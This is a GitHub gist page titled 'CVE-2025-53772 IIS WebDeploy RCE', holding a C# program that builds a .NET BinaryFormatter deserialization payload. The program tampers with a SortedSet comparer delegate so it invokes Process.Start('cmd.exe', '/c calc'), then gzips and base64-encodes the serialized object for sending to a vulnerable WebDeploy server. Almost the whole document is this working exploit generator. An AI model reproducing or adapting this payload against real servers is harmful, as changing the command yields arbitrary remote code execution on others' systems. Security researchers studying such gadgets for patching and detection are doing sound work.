Forked from hawktrace/gist:67836c7e9f35b72077b50f220349cd73
Created
September 5, 2025 09:13
-
-
Save gmh5225/99f2c65c564c4850f1efbc3ece8c0c32 to your computer and use it in GitHub Desktop.
CVE-2025-53772 IIS WebDeploy RCE
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| using System; | |
| using System.Collections.Generic; | |
| using System.Diagnostics; | |
| using System.IO; | |
| using System.IO.Compression; | |
| using System.Reflection; | |
| using System.Runtime.Serialization.Formatters.Binary; | |
| namespace hawktraceiis | |
| { | |
| class Program | |
| { | |
| static void Main(string[] args) | |
| { | |
| Delegate da = new Comparison<string>(String.Compare); | |
| Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da); | |
| IComparer<string> comp = Comparer<string>.Create(d); | |
| SortedSet<string> set = new SortedSet<string>(comp); | |
| set.Add("cmd.exe"); | |
| set.Add("/c calc"); | |
| FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); | |
| object[] invoke_list = d.GetInvocationList(); | |
| invoke_list[1] = new Func<string, string, Process>(Process.Start); | |
| fi.SetValue(d, invoke_list); | |
| using (MemoryStream stream = new MemoryStream()) | |
| { | |
| BinaryFormatter formatter = new BinaryFormatter(); | |
| formatter.Serialize(stream, set); | |
| using (MemoryStream compst = new MemoryStream()) | |
| { | |
| using (GZipStream gzipStream = new GZipStream(compst, CompressionMode.Compress)) | |
| { | |
| stream.Position = 0; | |
| stream.CopyTo(gzipStream); | |
| } | |
| string gzb4 = Convert.ToBase64String(compst.ToArray()); | |
| Console.WriteLine(gzb4); | |
| } | |
| } | |
| } | |
| } | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment